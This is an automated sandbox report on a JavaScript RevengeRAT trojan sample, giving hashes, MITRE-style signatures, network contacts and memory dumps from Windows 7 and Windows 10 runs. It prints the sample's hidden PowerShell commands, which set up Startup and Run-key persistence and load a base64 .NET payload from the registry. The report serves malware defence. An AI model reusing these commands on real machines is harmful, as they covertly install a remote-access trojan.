Malware Analysis Report

2025-01-18 04:54

Sample ID 241016-ga63kszbjr
Target d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
Tags
revengerat nyancatrevenge execution persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd

Threat Level: Known bad

The file d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge execution persistence trojan

RevengeRAT

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Drops startup file

Checks computer location settings

Adds Run key to start application

Enumerates physical storage devices

Command and Scripting Interpreter: JavaScript

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-16 05:37

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-16 05:37

Reported

2024-10-16 05:39

Platform

win7-20240708-en

Max time kernel

141s

Max time network

142s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

Signatures

RevengeRAT

trojan revengerat

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2152 wrote to memory of 2716 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2152 wrote to memory of 2716 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2152 wrote to memory of 2716 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2716 wrote to memory of 2764 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2716 wrote to memory of 2764 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2716 wrote to memory of 2764 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2764 wrote to memory of 2828 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2828 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2828 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2552 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2552 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2552 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2632 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2632 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2764 wrote to memory of 2632 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'));wscript 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp

Files

memory/2716-4-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

memory/2716-5-0x000000001B530000-0x000000001B812000-memory.dmp

memory/2716-7-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

memory/2716-6-0x0000000002890000-0x0000000002898000-memory.dmp

memory/2716-8-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

memory/2716-9-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

memory/2716-10-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

memory/2716-12-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KK2X576DW6BVHI1PKRXG.temp

MD5 28a91547a923fb82cafce805e4b5bfef
SHA1 93fe48e8f08066d51c38209b33b6d129e0b65f90
SHA256 19403ee7c07468bc1cfcdcb19ddfa14cc86e0f019702a3f56116ae0975eeb4dd
SHA512 045b87d67e498800ae057bd08459da2eec5e73eb7aa517613e5c207239f211af08482c7d6f186d01ed094f521ffd391713f1e272ce5ab77a9fe77463c80e4c3d

memory/2632-30-0x0000000002970000-0x000000000297A000-memory.dmp

memory/2716-31-0x000007FEF547E000-0x000007FEF547F000-memory.dmp

memory/2716-32-0x000007FEF51C0000-0x000007FEF5B5D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-16 05:37

Reported

2024-10-16 05:39

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

Signatures

RevengeRAT

trojan revengerat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'));wscript 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 45.19.74.20.in-addr.arpa udp
US 8.8.8.8:53 16.241.146.54.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 54.146.241.16:5222 tcp

Files

memory/1724-0-0x00007FF8BCC83000-0x00007FF8BCC85000-memory.dmp

memory/1724-1-0x0000019D505B0000-0x0000019D505D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xlezlbev.023.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1724-11-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp

memory/1724-12-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp

memory/1724-13-0x0000019D50AA0000-0x0000019D50AE4000-memory.dmp

C:\Users\Admin\AppData\Roaming\d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd.js

MD5 5508be73f4288131312fe9dcbe64322c
SHA1 f579ae533109afddd4d9e528c7c393035cd80e7a
SHA256 d213e4762cbc78007d9f45a852ea498265a8bd0c242c93b23e624f302e059ddd
SHA512 0f22d6e8378164326cf1634061281e765b29e3b0bef2eb2f1c3fd30d84a1554233c8b1eb930b6df431e982c0ce46b22f451b491892bc2b1c0a1ae60a66e2356f

memory/1724-16-0x0000019D50B70000-0x0000019D50BE6000-memory.dmp

memory/1568-45-0x0000023982540000-0x000002398254A000-memory.dmp

memory/1724-46-0x00007FF8BCC83000-0x00007FF8BCC85000-memory.dmp

memory/1724-47-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c